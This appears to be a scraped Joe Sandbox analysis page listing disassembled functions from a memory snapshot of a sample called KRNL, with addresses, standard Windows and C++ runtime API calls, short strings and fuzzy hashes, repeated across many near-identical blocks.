Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: LockitYarnstd::_$Lockit::_Lockit::~_
String ID: bad locale name$|=ne.q
API String ID: 2070049627-3641304814
Opcode ID: 224fc745ae706d962f2b4e98e40500617b091a4b1d10f48a664cae545d654513
Instruction ID: c8b075d3f7149adb5063850cb13611cc796dba9b14e580510db145941b615297
Opcode Fuzzy Hash: 224fc745ae706d962f2b4e98e40500617b091a4b1d10f48a664cae545d654513
Instruction Fuzzy Hash: 77418EF0A007559BEB10DF6AC809B57BAF9BF04714F04422CE4099B781E37AE618CBE5

Function 006EB755 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 73COMMON

Download Yara Rule

APIs

std::_Ref_count_base::_Decref.LIBCPMT ref: 006EB809

Strings

RCC, xrefs: 006EB795
csm, xrefs: 006EB7A1
MOC, xrefs: 006EB789

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: DecrefRef_count_base::_std::_
String ID: MOC$RCC$csm
API String ID: 1456557076-2671469338
Opcode ID: ad9d5c75d85a87d20b9d4d70ea688022673c6ffc9ec02439ccd613887632bd88
Instruction ID: ca7a1570d745cd85b90d7508e7b0b1753db69ce7919babec99c5d67558c50083
Opcode Fuzzy Hash: ad9d5c75d85a87d20b9d4d70ea688022673c6ffc9ec02439ccd613887632bd88
Instruction Fuzzy Hash: 20210331902389DFCF249F56D941ABBB7AEEF54720F24551DE4018BB80DB34AA41CB80

Function 006EF11D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33threadCOMMON

Download Yara Rule

APIs

WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,?,?,?,006E253A,?,?,00000000), ref: 006EF129
GetExitCodeThread.KERNEL32(?,00000000,?,?,006E253A,?,?,00000000), ref: 006EF142
CloseHandle.KERNEL32(?,?,?,006E253A,?,?,00000000), ref: 006EF154

Strings

:%n, xrefs: 006EF134

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: CloseCodeExitHandleObjectSingleThreadWait
String ID: :%n
API String ID: 2551024706-2487494124
Opcode ID: cf6b89112603431ae6929f9869fd0010ed2fd97ab9a18872b06b329990857236
Instruction ID: c27027fd2ae53da7c7fcefa87e2fbe1e7739d6b61703c9a9c0f39f4465083014
Opcode Fuzzy Hash: cf6b89112603431ae6929f9869fd0010ed2fd97ab9a18872b06b329990857236
Instruction Fuzzy Hash: 44F08271655218EFDF108F29DC05ADA3B65EB01B70F248320F821EA2E0E730EE41C690

Function 006EABC5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

_Yarn.LIBCPMT ref: 006EABE5
_Yarn.LIBCPMT ref: 006EAC09

Strings

|=ne.q, xrefs: 006EABC8
e.q, xrefs: 006EABD9

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: Yarn
String ID: e.q$|=ne.q
API String ID: 1767336200-1506673154
Opcode ID: 44f7624037389ae8866c6fd5a4c7047b91fbb02b753d0d7c8d4e28b539063395
Instruction ID: 5652a72172c1655732cdbc06ad4945204099ef7c9978b85cbf39467072c7808a
Opcode Fuzzy Hash: 44f7624037389ae8866c6fd5a4c7047b91fbb02b753d0d7c8d4e28b539063395
Instruction Fuzzy Hash: 75E065323087046FE74C7A6AAC52BB637DDDF04B60F20002DFA1A865C1ED10BC444569

Function 00706940 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,007069DC,00000000,?,0071D2B0,?,?,?,00706913,00000004,InitializeCriticalSectionEx,00710D34,00710D3C), ref: 0070694D
GetLastError.KERNEL32(?,007069DC,00000000,?,0071D2B0,?,?,?,00706913,00000004,InitializeCriticalSectionEx,00710D34,00710D3C,00000000,?,006FBBBC), ref: 00706957
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0070697F

Strings

api-ms-, xrefs: 00706964

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: cf1b97fed0619971c168c961d5243a05fb2cad014dbe3e0cf20c42ab6d781e4d
Instruction ID: 220de2021965a021cd5d3ea174db668cff5f310e282c1e19eeb8475691912a76
Opcode Fuzzy Hash: cf1b97fed0619971c168c961d5243a05fb2cad014dbe3e0cf20c42ab6d781e4d
Instruction Fuzzy Hash: 2AE01270390204FADF101FA4EC06FAC3A959B40B91F148564F94CA88E0D779ED609984

Function 00703F9E Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(AB1687B8,00000000,00000000,?), ref: 00704001

Part of subcall function 006FC021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,006FD895,?,00000000,-00000008), ref: 006FC082

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00704253
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00704299
GetLastError.KERNEL32 ref: 0070433C

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 4abc43949758727193f159d1e01ee19cd4f9fb3766aba155f10c7fa64e59a81c
Instruction ID: 63b9e8cb4f49cefcc034a0c9f177bb6423c7d55d8751590667e79805d36a2608
Opcode Fuzzy Hash: 4abc43949758727193f159d1e01ee19cd4f9fb3766aba155f10c7fa64e59a81c
Instruction Fuzzy Hash: B2D149B5E00258DFCF15CFA8C880AEDBBF5FF49314F14826AEA55EB291D634A941CB50

Function 006FB295 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 006FB35C
___AdjustPointer.LIBCMT ref: 006FB37F
___AdjustPointer.LIBCMT ref: 006FB41B

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 09fcfa6e1fc22b6ba0d67e3224577b1957c69d6c82f142cc3a092ac09252b0ba
Instruction ID: 2d4179a66163b8028f5c1bd9e23ea5f88f828f1c7e0d9d398d6c6a674270c05f
Opcode Fuzzy Hash: 09fcfa6e1fc22b6ba0d67e3224577b1957c69d6c82f142cc3a092ac09252b0ba
Instruction Fuzzy Hash: 4D51D17364570AEFEB299F54C991BBA73A6EF40710F14502DEA0647291D731ED81CB90

Function 006E7220 Relevance: 6.1, APIs: 4, Instructions: 129threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 006E72C5
std::_Throw_Cpp_error.LIBCPMT ref: 006E7395
std::_Throw_Cpp_error.LIBCPMT ref: 006E73A3
std::_Throw_Cpp_error.LIBCPMT ref: 006E73B1

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CurrentThread
String ID:
API String ID: 2261580123-0
Opcode ID: d84bc1c333bb0172b5a0cd114a46298ccf83f6ddcf1c56f96832921084f59115
Instruction ID: 018311f600b65332b7589c60e7806c97970d9d203e802bfd0f58c2778fd51256
Opcode Fuzzy Hash: d84bc1c333bb0172b5a0cd114a46298ccf83f6ddcf1c56f96832921084f59115
Instruction Fuzzy Hash: 074124B1901385CBDB60DB26C8417AFB7A6BF44320F14463DD81647791EB30E805CBD1

Function 006E4460 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 006E4495
std::_Lockit::_Lockit.LIBCPMT ref: 006E44B2
std::_Lockit::~_Lockit.LIBCPMT ref: 006E44D3
std::_Lockit::~_Lockit.LIBCPMT ref: 006E4580

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 286b2a9f429a133909291e8b0c32ed6dc3f7e38ed0f60f91e2a9690257a5680b
Instruction ID: 53c1f292e5f44b11e293599a9165b762454b44f2d106c8d99ad470bf41b7a790
Opcode Fuzzy Hash: 286b2a9f429a133909291e8b0c32ed6dc3f7e38ed0f60f91e2a9690257a5680b
Instruction Fuzzy Hash: 21416B71D013588FCB11DFA9D844AEDB7B2FB48720F158229E81567391DB38A940CF95

Function 00701DC6 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 006FC021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,006FD895,?,00000000,-00000008), ref: 006FC082

GetLastError.KERNEL32 ref: 00701E2A
__dosmaperr.LIBCMT ref: 00701E31
GetLastError.KERNEL32 ref: 00701E6B
__dosmaperr.LIBCMT ref: 00701E72

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 00f9750563f2fe673a8d33c5edbd75144119448b6ac6ad0782044d2ef46c86c3
Instruction ID: e32ca57ab662ea4217ef8587730b4fae0062c38fe3cdb8637493012fbabafb19
Opcode Fuzzy Hash: 00f9750563f2fe673a8d33c5edbd75144119448b6ac6ad0782044d2ef46c86c3
Instruction Fuzzy Hash: 40219D71604219EFDB20AFA5C88187BB7E9FF003657908619FD19D7591E739EC008BA0

Function 006F2BA2 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9086f7d967999b9e273ad7d7f9a20c88b12d3eb268eac38136c598d2c6869b74
Instruction ID: 743c1983a16e57fbd28b97eda628ff8145e1233a7b2fd939840e73b99f349af9
Opcode Fuzzy Hash: 9086f7d967999b9e273ad7d7f9a20c88b12d3eb268eac38136c598d2c6869b74
Instruction Fuzzy Hash: 0021C27120420FAF8B60AF698CE19BA776BFF403647118518FB59D7250EB31EC41CBA4

Function 007031BE Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 007031C6

Part of subcall function 006FC021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,006FD895,?,00000000,-00000008), ref: 006FC082

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 007031FE
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0070321E

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 991185f91c5ee31166b569b684eb36de0b794b37d1f18b7581a5b5c4e6ed1083
Instruction ID: a9086f0b60c8ade8bd266190ba8c979d4e71fcc7c679fa586c044d0fce26910a
Opcode Fuzzy Hash: 991185f91c5ee31166b569b684eb36de0b794b37d1f18b7581a5b5c4e6ed1083
Instruction Fuzzy Hash: 1E11D6B1501119FEE7112BB5AC8ACFF6A9DEEC97947104219FA01D1181FF78EF0141B5

Function 006EE892 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 006EE899
std::_Lockit::_Lockit.LIBCPMT ref: 006EE8A3
int.LIBCPMT ref: 006EE8BA

Part of subcall function 006EC1E5: std::_Lockit::_Lockit.LIBCPMT ref: 006EC1F6
Part of subcall function 006EC1E5: std::_Lockit::~_Lockit.LIBCPMT ref: 006EC210

std::_Lockit::~_Lockit.LIBCPMT ref: 006EE914

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3
String ID:
API String ID: 1383202999-0
Opcode ID: 7ac5ea129ff14389ee37ed9e4ed59ef047d07906554cd1d984d78d00750049b0
Instruction ID: 46f2b251a2012147f147dc9994ce2ea67eddd5552831ab63fe3d3d4622eec8b7
Opcode Fuzzy Hash: 7ac5ea129ff14389ee37ed9e4ed59ef047d07906554cd1d984d78d00750049b0
Instruction Fuzzy Hash: C01102358023959BCB01EBAAC9056BE77A3AF80320F25411DE4016B2C2CF34AE01CB89

Function 0070ADA0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,0070A2EF,00000000,00000001,00000000,?,?,00704390,?,00000000,00000000), ref: 0070ADB7
GetLastError.KERNEL32(?,0070A2EF,00000000,00000001,00000000,?,?,00704390,?,00000000,00000000,?,?,?,00703CD6,00000000), ref: 0070ADC3

Part of subcall function 0070AE20: CloseHandle.KERNEL32(FFFFFFFE,0070ADD3,?,0070A2EF,00000000,00000001,00000000,?,?,00704390,?,00000000,00000000,?,?), ref: 0070AE30

___initconout.LIBCMT ref: 0070ADD3

Part of subcall function 0070ADF5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0070AD91,0070A2DC,?,?,00704390,?,00000000,00000000,?), ref: 0070AE08

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,0070A2EF,00000000,00000001,00000000,?,?,00704390,?,00000000,00000000,?), ref: 0070ADE8

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: bf7924cf076a20245278e2d3a7418fe119e6b7ec593cca223ee7bda0efa26c35
Instruction ID: 54fb4119b60394895a47349dd540aa8b5fabbcf1881a54a8a71d65eaf9f8c03a
Opcode Fuzzy Hash: bf7924cf076a20245278e2d3a7418fe119e6b7ec593cca223ee7bda0efa26c35
Instruction Fuzzy Hash: ADF01236600229FBCF221FD9EC089DA3F66FF047A1F00C111FE08851A4D73AC8609B95

Function 006F04F5 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 006F0507
GetCurrentThreadId.KERNEL32 ref: 006F0516
GetCurrentProcessId.KERNEL32 ref: 006F051F
QueryPerformanceCounter.KERNEL32(?), ref: 006F052C

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: aae8c9efb57ef37206f0982b3e69251400d5376f8765ff8d906e2a822d65b356
Instruction ID: 624c8c8d1f7abbc2243d2be23e1d6b62d8ad55043a06f7365ffe7eb9ae28115f
Opcode Fuzzy Hash: aae8c9efb57ef37206f0982b3e69251400d5376f8765ff8d906e2a822d65b356
Instruction Fuzzy Hash: 48F05F74D1120DEBCB00DFB8DA499DEBBF4FF1C200B918995A452E6150EA34AB44DB54

Function 006FB992 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 120COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,006FB893,?,?,00000000,00000000,00000000,?), ref: 006FB9B7

Strings

RCC, xrefs: 006FB9D1
MOC, xrefs: 006FB9C9

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: f5a3b55e5c72e0b2502ddb70ff912645718bdc90155dd271cfbeda2eb29666be
Instruction ID: 8b49dbc0d829e7cd1ab3b9344a7dec2ba2566e6f805eba058c645a48167d4bfa
Opcode Fuzzy Hash: f5a3b55e5c72e0b2502ddb70ff912645718bdc90155dd271cfbeda2eb29666be
Instruction Fuzzy Hash: 4241347290020DAFCF15DF98CC81AEEBBB6FF48300F189199FA14A7222D3759950DB91

Function 006FB1FE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 006FB475

Strings

csm, xrefs: 006FB497
csm, xrefs: 006FB508

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

